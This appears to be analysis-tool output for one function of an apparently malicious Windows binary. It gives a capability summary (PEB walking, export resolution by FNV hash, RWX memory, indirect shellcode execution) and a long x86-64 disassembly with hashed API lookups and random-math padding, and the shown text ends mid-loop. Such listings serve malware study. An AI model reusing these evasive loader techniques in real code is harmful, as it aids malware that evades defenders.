Function at 0x14014d2c0
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Check os version
Encode data using xor
Execute shellcode via indirect call
Generate random numbers using a mersenne twister
Hash data using fnv
Query or enumerate registry value
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
mov qword [rsp + 0x20], r12
push r13
push r14
push r15
mov eax, 0xdbc0
call fcn.1401a07c0
sub rsp, rax
movaps xmmword [rsp + 0xdbb0], xmm6
movaps xmmword [rsp + 0xdba0], xmm7
movaps xmmword [rsp + 0xdb90], xmm8
movaps xmmword [rsp + 0xdb80], xmm9
movaps xmmword [rsp + 0xdb70], xmm10
movaps xmmword [rsp + 0xdb60], xmm11
movaps xmmword [rsp + 0xdb50], xmm12
movaps xmmword [rsp + 0xdb40], xmm13
movaps xmmword [rsp + 0xdb30], xmm14
movaps xmmword [rsp + 0xdb20], xmm15
mov rax, qword [0x1402000f0]
xor rax, rsp
mov qword [rsp + 0xdb10], rax
xor r14d, r14d
xorps xmm0, xmm0
movups xmmword [rsp + 0xe18], xmm0
lea rdx, [rsp + 0xdbd8]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rsp + 0xe20], rcx
mov qword [rsp + 0xe28], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rsp + 0xe18], rax
mov qword [rdx], r14
xor edx, edx
mov r8d, 0x110
lea rcx, [rsp + 0x1254]
call fcn.1401a2520
mov dword [rsp + 0x1250], 0x114
lea rcx, [rsp + 0x1250]
call qword [sym.imp.KERNEL32.dll_GetVersionExW]
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140156173
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140156173
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x3765e48f
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14015616a
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014d440
cmp r8d, 0xe30bdad
jne 0x14015616a
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
cmp eax, 0x400
jne 0x14014d54c
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14014d516
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014d516
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x3665e2fc
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14014d511
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014d4f0
cmp r8d, 0x5552802a
je 0x14014d51b
test r10d, r10d
jne 0x14014d4d0
mov rax, qword [rax]
jmp 0x14014d4a0
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov r15d, 1
mov ecx, r15d
call rdx
cmp eax, 0x300
je 0x14014d874
jmp 0x14014d552
mov r15d, 1
cmp dword [rsp + 0x1254], 6
ja 0x14014d570
jne 0x14014d874
cmp dword [rsp + 0x1258], 2
jb 0x14014d874
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140156162
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140156162
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0xc16b3afb
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140156159
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014d5f0
cmp r8d, 0xf8befe1
jne 0x140156159
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
cmp eax, 0x500
jne 0x14014d6f4
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14014d6c6
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014d6c6
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0xc06b3968
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14014d6c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014d6a0
cmp r8d, 0x8c3b06ae
je 0x14014d6cb
test r10d, r10d
jne 0x14014d680
mov rax, qword [rax]
jmp 0x14014d650
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, r15d
call rdx
cmp eax, 0x400
je 0x14014d874
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x140156151
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x140156151
mov edi, dword [r11 + 0x20]
nop dword [rax]
dec r10d
lea rcx, [r9 + r10*4]
mov edx, dword [rcx + rdi]
add rdx, r9
mov r8d, 0x416832e4
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140156148
nop dword [rax]
nop word [rax + rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014d770
cmp r8d, 0x3017eb2
jne 0x140156148
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
xor ecx, ecx
call rdx
cmp eax, 0x320
jne 0x14014e9c3
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r9, qword [rax + 0x30]
movsxd rcx, dword [r9 + 0x3c]
mov r11d, dword [rcx + r9 + 0x88]
add r11, r9
cmp r11, r9
je 0x14014d846
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14014d846
mov edi, dword [r11 + 0x20]
nop word [rax + rax]
dec r10d
lea rcx, [rdi + r10*4]
mov edx, dword [rcx + r9]
add rdx, r9
mov r8d, 0x42683477
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14014d841
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x14014d820
cmp r8d, 0x9c99f4f5
je 0x14014d84b
test r10d, r10d
jne 0x14014d800
mov rax, qword [rax]
jmp 0x14014d7d0
mov ecx, dword [r11 + 0x1c]
add rcx, r9
mov eax, dword [r11 + 0x24]
add rax, r9
movzx eax, word [rax + r10*2]
mov edx, dword [rcx + rax*4]
add rdx, r9
mov ecx, r15d
call rdx
cmp eax, 0x258
jne 0x14014e9c3
mov qword [0], r14
call fcn.14017f98c
mov dword [rsp + 0x26f4], 0xffffffff
mov dword [rsp + 0x1374], eax
mov rdx, r15
nop word [rax + rax]
mov ecx, eax
shr ecx, 0x1e
xor ecx, eax
imul eax, ecx, 0x6c078965
add eax, edx
mov dword [rsp + rdx*4 + 0x1374], eax
inc rdx
cmp rdx, 0x270
jb 0x14014d8a0
mov dword [rsp + 0x1370], 0x270
mov dword [rsp + 0xbd8], 0xffffff9c
mov dword [rsp + 0xbdc], 0x64
movsd xmm13, qword [0x1401ed1d8]
mov dword [rsp + 0x40], r14d
xorps xmm8, xmm8
movsd qword [rsp + 0x50], xmm8
call fcn.14017ad6c
mov rbx, rax
call fcn.14017ad50
cmp rbx, 0x989680
jne 0x14014d918
imul rax, rax, 0x64
jmp 0x14014d933
cqo
idiv rbx
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rbx
add rax, rcx
lea rbx, [rax + 0x5f5e100]
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xbe8], xmm1
mov qword [rsp + 0xbf8], r14
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.AddOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x378], r14
mov qword [rsp + 0x110], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014d99a
mov qword [rsp + 0x110], r14
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014d9b0
lea r8, [rsp + 0x110]
lea rcx, [rsp + 0xbe8]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0x110]
test rcx, rcx
je 0x14014d9ca
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x378]
test rcx, rcx
je 0x14014d9e3
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.MultiplyOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x380], r14
mov qword [rsp + 0x118], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014da2f
mov qword [rsp + 0x118], r14
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014da45
lea r8, [rsp + 0x118]
lea rcx, [rsp + 0xbe8]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0x118]
test rcx, rcx
je 0x14014da5f
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x380]
test rcx, rcx
je 0x14014da78
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.SubtractOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x388], r14
mov qword [rsp + 0xf0], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014dac4
mov qword [rsp + 0xf0], r14
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014dada
lea r8, [rsp + 0xf0]
lea rcx, [rsp + 0xbe8]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0xf0]
test rcx, rcx
je 0x14014daf4
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x388]
test rcx, rcx
je 0x14014db0d
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.DivideOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x390], r14
mov qword [rsp + 0x120], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014db59
mov qword [rsp + 0x120], r14
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014db6f
lea r8, [rsp + 0x120]
lea rcx, [rsp + 0xbe8]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0x120]
test rcx, rcx
je 0x14014db89
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x390]
test rcx, rcx
je 0x14014dba2
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.ModulusOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x398], r14
mov qword [rsp + 0x128], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014dbee
mov qword [rsp + 0x128], r14
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014dc04
lea r8, [rsp + 0x128]
lea rcx, [rsp + 0xbe8]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0x128]
test rcx, rcx
je 0x14014dc1e
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x398]
test rcx, rcx
je 0x14014dc37
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov ecx, 8
call fcn.14019feec
lea rcx, vtable.ComplexOperation.0
mov qword [rax], rcx
mov qword [rsp + 0x3a0], r14
mov qword [rsp + 0xc8], rax
mov rdx, qword [rsp + 0xbf0]
cmp rdx, qword [rsp + 0xbf8]
je 0x14014dc83
mov qword [rsp + 0xc8], r14
mov qword [rdx], rax
add qword [rsp + 0xbf0], 8
jmp 0x14014dc99
lea r8, [rsp + 0xc8]
lea rcx, [rsp + 0xbe8]
call fcn.14016c300
nop
mov rcx, qword [rsp + 0xc8]
test rcx, rcx
je 0x14014dcb3
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
nop
mov rcx, qword [rsp + 0x3a0]
test rcx, rcx
je 0x14014dccc
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, r15d
call r8
mov esi, 0x80000000
movsd xmm10, qword [0x1401ed1a0]
movsd xmm9, qword [0x1401ed1c0]
movsd xmm14, qword [0x1401ed1b8]
nop dword [rax]
call fcn.14017ad6c
mov rdi, rax
call fcn.14017ad50
cmp rdi, 0x989680
jne 0x14014dd0c
imul rax, rax, 0x64
jmp 0x14014dd27
cqo
idiv rdi
imul rcx, rax, 0x3b9aca00
imul rax, rdx, 0x3b9aca00
cqo
idiv rdi
add rax, rcx
cmp rax, rbx
jge 0x14014e92d
mov dword [rsp + 0x88], r14d
nop dword [rax + rax]
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea ecx, [rax + rsi]
jb 0x14014dd54
lea ecx, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014dd63
add eax, esi
jmp 0x14014dd68
add eax, 0x80000000
sub eax, ecx
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014dd7e
call fcn.140170220
jmp 0x14014ddb8
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x14014ddb8
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014ddb8
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x14014dda1
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14014ddce
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014dddd
add eax, esi
jmp 0x14014dde2
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014ddfb
call fcn.140170220
mov ecx, eax
jmp 0x14014de3b
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x14014de37
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014de37
nop
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x14014de20
shr rcx, 0x20
lea edx, [rcx + r12]
mov r8, qword [rsp + 0xbf0]
mov r9, qword [rsp + 0xbe8]
sub r8, r9
sar r8, 3
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
movsxd rax, ecx
xor edx, edx
div r8
movsxd rax, edx
mov r13, qword [r9 + rax*8]
mov rax, qword [r13]
mov rax, qword [rax + 8]
mov qword [rsp + 0x70], rax
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14014de96
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014dea5
add eax, esi
jmp 0x14014deaa
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014dec3
call fcn.140170220
mov ecx, eax
jmp 0x14014df0b
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x14014df07
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014df07
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x14014def0
shr rcx, 0x20
lea edx, [rcx + r12]
lea eax, [rdx + rsi]
lea r8d, [rdx - 0x80000000]
cmp edx, esi
cmovae r8d, eax
mov edx, dword [rsp + 0x40]
mov rcx, r13
call qword [rsp + 0x70]
mov dword [rsp + 0x40], eax
movaps xmm11, xmm8
movaps xmm1, xmm10
mov edi, 2
nop dword [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm11, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14014df40
divsd xmm11, xmm1
mulsd xmm11, xmm14
addsd xmm11, xmm13
movaps xmm12, xmm8
movaps xmm1, xmm10
mov edi, 2
nop dword [rax]
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov eax, eax
xorps xmm0, xmm0
cvtsi2sd xmm0, rax
subsd xmm0, xmm8
mulsd xmm0, xmm1
addsd xmm12, xmm0
mulsd xmm1, xmm9
sub rdi, 1
jne 0x14014df90
divsd xmm12, xmm1
mulsd xmm12, xmm14
addsd xmm12, xmm13
movaps xmm6, xmm12
andps xmm6, xmmword [0x1401ed2d0]
movaps xmm0, xmm11
call fcn.1401ce400
movaps xmm7, xmm0
movaps xmm0, xmm12
call fcn.1401cf2b0
mulsd xmm7, xmm0
addsd xmm6, xmm10
movaps xmm0, xmm6
call fcn.1401ced80
addsd xmm7, xmm0
movaps xmm0, xmm11
call fcn.1401ce980
subsd xmm7, xmm0
movsd xmm1, qword [rsp + 0x50]
addsd xmm7, xmm1
movsd qword [rsp + 0x50], xmm7
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14014e030
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
movsd xmm1, qword [0x1401ed1a8]
call fcn.1401b2500
movsd xmm1, qword [rsp + 0x50]
subsd xmm1, xmm0
movsd qword [rsp + 0x50], xmm1
movaps xmm0, xmm8
movaps xmm2, xmm10
mov edi, 2
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov eax, eax
xorps xmm1, xmm1
cvtsi2sd xmm1, rax
subsd xmm1, xmm8
mulsd xmm1, xmm2
addsd xmm0, xmm1
mulsd xmm2, xmm9
sub rdi, 1
jne 0x14014e0a0
divsd xmm0, xmm2
mulsd xmm0, xmm14
addsd xmm0, xmm13
call fcn.1401cf820
movsd xmm1, qword [rsp + 0x50]
mulsd xmm0, xmm1
movsd qword [rsp + 0x50], xmm0
xorps xmm0, xmm0
movups xmmword [rsp + 0xd70], xmm0
mov qword [rsp + 0xd80], r14
mov qword [rsp + 0xd88], r14
lea r8d, [rdi + 6]
lea rdx, str.random
lea rcx, [rsp + 0xd70]
call fcn.140132200
nop
lea rdi, [rsp + 0xd70]
cmp qword [rsp + 0xd88], 0x10
jb 0x14014e146
mov rdi, qword [rsp + 0xd70]
mov rcx, rdi
jmp 0x14014e14e
lea rcx, [rsp + 0xd70]
mov rdx, rdi
mov r15, qword [rsp + 0xd80]
add r15, rcx
cmp rdx, r15
je 0x14014e1a8
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x15
ja 0x14014e198
nop dword [rax]
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rax, rcx, 0x1a
cmp eax, 0x16
jb 0x14014e180
shr rax, 0x20
add al, 0x61
mov byte [rdi], al
inc rdi
cmp rdi, r15
jne 0x14014e161
xorps xmm1, xmm1
movdqu xmmword [rsp + 0xc70], xmm1
mov qword [rsp + 0xc80], r14
mov ecx, 0x190
call fcn.14019feec
mov qword [rsp + 0xc70], rax
lea r12, [rax + 0x190]
mov qword [rsp + 0xc80], r12
xor edx, edx
mov r8d, 0x190
mov rcx, rax
call fcn.1401a2520
mov qword [rsp + 0xc78], r12
mov r15, qword [rsp + 0xc70]
cmp r15, r12
je 0x14014e241
nop dword [rax]
nop word [rax + rax]
lea rdx, [rsp + 0x1370]
lea rcx, [rsp + 0xbd8]
call fcn.140162040
mov dword [r15], eax
add r15, 4
cmp r15, r12
jne 0x14014e210
mov r12, qword [rsp + 0xc78]
mov r15, qword [rsp + 0xc70]
mov dword [rsp + 0xe30], 0xffffff9c
mov dword [rsp + 0xe34], 0x64
cmp r15, r12
je 0x14014e296
nop dword [rax]
mov edi, dword [r15]
lea rdx, [rsp + 0x1370]
lea rcx, [rsp + 0xe30]
call fcn.140162040
add eax, edi
mov dword [r15], eax
add r15, 4
cmp r15, r12
jne 0x14014e260
mov r12, qword [rsp + 0xc78]
mov r15, qword [rsp + 0xc70]
mov r8, r12
sub r8, r15
sar r8, 2
xor r9d, r9d
mov rdx, r12
mov rcx, r15
call fcn.1401703b0
mov r8d, r14d
mov rax, qword [rsp + 0xc70]
mov rdx, r14
mov r9, qword [rsp + 0xc78]
mov rcx, r9
sub rcx, rax
add rcx, 3
shr rcx, 2
cmp rax, r9
cmova rcx, r14
test rcx, rcx
je 0x14014e331
cmp rcx, 8
jb 0x14014e331
and rcx, 0xfffffffffffffff8
xorps xmm2, xmm2
xorps xmm1, xmm1
nop
movdqu xmm0, xmmword [rax]
paddd xmm2, xmm0
movdqu xmm0, xmmword [rax + 0x10]
paddd xmm1, xmm0
add rax, 0x20
add rdx, 8
cmp rdx, rcx
jne 0x14014e2f0
paddd xmm1, xmm2
movdqa xmm0, xmm1
psrldq xmm0, 8
paddd xmm1, xmm0
movdqa xmm0, xmm1
psrldq xmm0, 4
paddd xmm1, xmm0
movd r8d, xmm1
cmp rax, r9
je 0x14014e34c
nop word [rax + rax]
add r8d, dword [rax]
add rax, 4
cmp rax, r9
jne 0x14014e340
mov eax, dword [rsp + 0x40]
add eax, r8d
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14014e36d
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014e37c
add eax, esi
jmp 0x14014e381
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014e39a
call fcn.140170220
mov ecx, eax
jmp 0x14014e3db
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x14014e3d7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014e3d7
nop dword [rax]
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x14014e3c0
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx - 0x80000000]
lea edi, [rcx + rsi]
cmp ecx, esi
cmovae edi, eax
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r13d, [rax + rsi]
jb 0x14014e402
lea r13d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014e411
add eax, esi
jmp 0x14014e416
add eax, 0x80000000
sub eax, r13d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014e42f
call fcn.140170220
mov ecx, eax
jmp 0x14014e47c
lea r15d, [rax + 1]
call fcn.140170220
mov r12d, r15d
mov ecx, eax
imul rcx, r12
cmp ecx, r15d
jae 0x14014e478
mov eax, r15d
neg eax
xor edx, edx
div r15d
mov r15d, edx
cmp ecx, edx
jae 0x14014e478
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rcx, r12
cmp ecx, r15d
jb 0x14014e460
shr rcx, 0x20
add ecx, r13d
lea eax, [rcx - 0x80000000]
lea r8d, [rcx + rsi]
cmp ecx, esi
cmovae r8d, eax
mov ecx, edi
test edi, edi
mov eax, 1
cmove ecx, eax
mov eax, r8d
sub eax, edi
cdq
idiv ecx
imul edi, r8d
add eax, edi
mov ecx, dword [rsp + 0x40]
add eax, ecx
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x40]
and eax, 0x80000001
jge 0x14014e4c5
dec eax
or eax, 0xfffffffe
inc eax
test eax, eax
mov eax, dword [rsp + 0xbd8]
lea r12d, [rax + rsi]
jne 0x14014e56e
cmp eax, esi
jb 0x14014e4e3
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014e4f2
add eax, esi
jmp 0x14014e4f7
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014e510
call fcn.140170220
mov ecx, eax
jmp 0x14014e54e
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x14014e54a
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014e54a
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x14014e533
shr rcx, 0x20
add ecx, r12d
lea eax, [rcx + rsi]
lea edx, [rcx - 0x80000000]
cmp ecx, esi
cmovae edx, eax
mov eax, dword [rsp + 0x40]
add edx, eax
mov dword [rsp + 0x40], edx
jmp 0x14014e607
cmp eax, esi
jb 0x14014e579
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014e588
add eax, esi
jmp 0x14014e58d
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014e5a6
call fcn.140170220
mov ecx, eax
jmp 0x14014e5eb
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x14014e5e7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014e5e7
nop dword [rax]
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x14014e5d0
shr rcx, 0x20
lea edx, [rcx + r12]
lea eax, [rdx + rsi]
lea ecx, [rdx - 0x80000000]
cmp edx, esi
cmovae ecx, eax
mov eax, dword [rsp + 0x40]
sub eax, ecx
mov dword [rsp + 0x40], eax
mov qword [rsp + 0x70], 5
mov r13d, r14d
nop dword [rax]
nop word [rax + rax]
mov eax, dword [rsp + 0xbd8]
cmp eax, esi
lea r12d, [rax + rsi]
jb 0x14014e636
lea r12d, [rax - 0x80000000]
mov eax, dword [rsp + 0xbdc]
cmp eax, esi
jae 0x14014e645
add eax, esi
jmp 0x14014e64a
add eax, 0x80000000
sub eax, r12d
lea rcx, [rsp + 0x1370]
cmp eax, 0xffffffff
jne 0x14014e663
call fcn.140170220
mov ecx, eax
jmp 0x14014e6ab
lea edi, [rax + 1]
call fcn.140170220
mov r15d, edi
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jae 0x14014e6a7
mov eax, edi
neg eax
xor edx, edx
div edi
mov edi, edx
cmp ecx, edx
jae 0x14014e6a7
nop word [rax + rax]
lea rcx, [rsp + 0x1370]
call fcn.140170220
mov ecx, eax
imul rcx, r15
cmp ecx, edi
jb 0x14014e690
shr rcx, 0x20
